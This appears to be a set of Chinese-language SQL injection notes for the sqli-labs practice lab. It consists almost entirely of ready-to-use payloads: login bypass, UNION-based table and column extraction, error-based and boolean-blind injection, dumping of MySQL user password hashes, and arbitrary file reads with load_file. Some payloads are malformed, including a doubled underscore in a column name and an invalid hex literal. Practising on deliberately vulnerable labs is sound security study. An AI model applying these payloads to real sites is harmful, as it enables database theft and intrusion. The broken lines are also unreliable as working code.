1. ' or 1=1 --+
select * from user where username=' | ' union select 1,2,'3dd3eds4c4df44wes'
union select 1,2,user() 第三列返回用户名
union select 1,2,group_concat(distinct+TABLE) from information_schema.TABLES where table__schema='security' 包括去重
union select 1,2,concat(id,0x2d,session,0x2d,name) from information_schema.tables where table_schema=0xwe22e3213se2ewd 使用十六进制,替换' ,如果开启魔术引号
3. 报错注入 ( 1. 没有开启显示位 2.存在print(mysql_error) ,才可以报错成功)
http://127.0.0.1/sqli-labs/Less-6/?id=1" and union select 1 from (select count(*),concat(floor(rand(0)*2),0x3a3a3a,(注入暴数据语句),0x3a3a3a)a from information_schema.tables group by a)b --+
例子:
1). 获取版本号 select concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)
2).获取有多少个数据库 select count(distinct table_schema) from information_schema.COLUMNS
3).爆数据库名 select distinct table_schema from information_schema.COLUMNS limit 7,1
4).爆某库下有几张表 select count(distinct table_name) from information_schema.COLUMNS where table_schema=['hehe' | 0x68656865]
5).爆某库某表有字段数 select count(distinct column_name) from information_schema.COLUMNS where table_schema=0x68656865 and table_name="messagebord"
6).爆某库某表字段内容 select concat(Host,User,Password) from mysql.user limit 0,1
4. 布尔注入 (1. 没有显示位 2.不用存在print(mysql_error) ,根据页面变化来判断信息 )
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select ascii(length((select version()))) > 54) --+
例子:
1) 首先猜字符串长度 http://127.0.0.1/sqli-labs/Less-8/?id=' or (select ascii(length((插入的查询语句))) > 54) --+
2) 然后逐个字符 http://127.0.0.1/sqli-labs/Less-8/?id=' or (select ascii(substr((插入的查询语句),1,1)) > 112) --+
3) 查询有多少个库 http://127.0.0.1/sqli-labs/Less-8/?id=' or ((select count(distinct table_schema) from information_schema.COLUMNS) > 7) --+
5. load_file 任意读取文件 (注意 尽量在路径 之中使用 / )
http://172.21.50.66/Less-1/?id=' union select 1,2,(select load_file('/var/www')) --+
http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,2,(select load_file('C:\\Intel\\123.txt'))
PS : 1) 注意两个路径的差别
2)
/etc/httpd/conf/httpd.conf 是Apache 的配置文件